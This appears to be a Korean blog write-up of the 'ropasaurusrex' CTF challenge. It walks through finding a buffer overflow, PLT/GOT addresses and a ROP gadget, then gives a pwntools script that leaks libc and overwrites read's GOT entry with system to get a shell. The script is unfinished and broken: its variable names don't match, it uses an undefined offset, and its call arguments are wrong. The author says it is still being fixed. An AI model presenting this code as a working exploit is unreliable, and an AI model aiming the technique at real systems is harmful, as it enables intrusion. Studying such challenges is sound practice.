물먹는산세베리아

ROP 본문

Waregame & CTF/Pwnable

ROP

suntall 2021. 5. 26. 23:45

파일명: ropasaurusrex

아무 글자나 입력하니 WIN이라는 단어가 나왔다.

 

바로 IDA로 까봤다.

 

main()

main에서 sub_80483f4()라는 함수와 write 함수를 확인할 수 있었고 좀 전에 출력된 WIN도 볼 수 있었다.

sub_80483F4()

버퍼의 크기는 136인데 read함수에서 256byte(0x100)을 입력받기 때문에 BOF취약점이 있다는 걸 확인할 수 있었다.

write()

여기에 system("/bin/sh")을 넣어야 하는데 read, write 모두 인자를 세개씩 갖고 있으므로 "pop; pop; pop; ret" 가젯 주소를 찾는다.

 

objdump -d ropasaurusrex | grep -B3 ret

주소는 80484b6이다.

 

read@plt 주소 구하기

objdump -d ropasaurusrex | grep read

read@plt 주소는 804832c

 

write@plt 주소 구하기

objdump -d ropasaurusrex | grep write

write@plt 주소는 804830c

 

함수의 GOT구하기

* GOT overwrite: 함수 호출 시 PLT를 참조하고 PLT는 GOT를 참조한다. GOT는 라이브러리의 실제 함수 주소가 쓰여 있기 떄문에 다이나믹 방식의 컴파일에서도 사용 가능하다.)

함수가 jump 하는 곳이 GOT이므로 read()의 GOT는 0x804961c이다.

write의 GOT는 0x8049614이다.

 

/bin/sh을 변하지 않는 공간인 bss에 넣어주기 위해 system과 read의 주소를 찾고 오프셋을 구한다.

* 제대로 되지 않는다면 info list에서 .text(main의 시작)에 breakpoint를 건 후 실행시킨다.

bss의 주소는 08049628

 

payload.py

 

from pwn import*
from time import *

p = process("./ropasaurusrex")
e =ELF("./ropasaurusrex")
read_plt = 0x804832c
read_got = 0x804961c
write_plt = 0x804830c
write_got = 0x8049614
 
bbs=0x08049628
gadget=0x080484b6
bin_sh="/bin/sh\x00"
offset = 0xaf1b0

payload = ''
payload += 'A'*(0x8c) #BOF

payload += p32(write_plt)
payload += p32(gadget)
payload += p32(read_got) #?
payload += p32(4) #?

payload += p32(read_plt)
payload += p32(gadget)
payload += p32(bss)
payload += p32(8)

payload += p32(read_plt)
payload += p32(gadget)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += "AAAA"
payload += p32(bss)

p.sendline(payload)
p.sendline("/bin/sh")
time.sleep(1)

read_addr = u32(p.recv(4))
system_addr = read_addr - system_offset

p.sendline(p32(system_addr))
p.interactive()



p.interactive()

수정중...

문제점: python 3버전에서는 p32를 쓸 수 없다. byte로 값을 읽는다... python3에서 돌려야 하는데 그렇다고 byte로 읽으면 (b"~")또 저렇게 메세지가 뜬다..

'Waregame & CTF > Pwnable' 카테고리의 다른 글

[dreamhack.io] basic_rop_x86  (0) 2021.05.26
[dreamhack.io] basic_exploitation_001  (0) 2021.05.19
[pwnable.kr] bof  (0) 2021.05.19
collision 문제  (0) 2021.05.05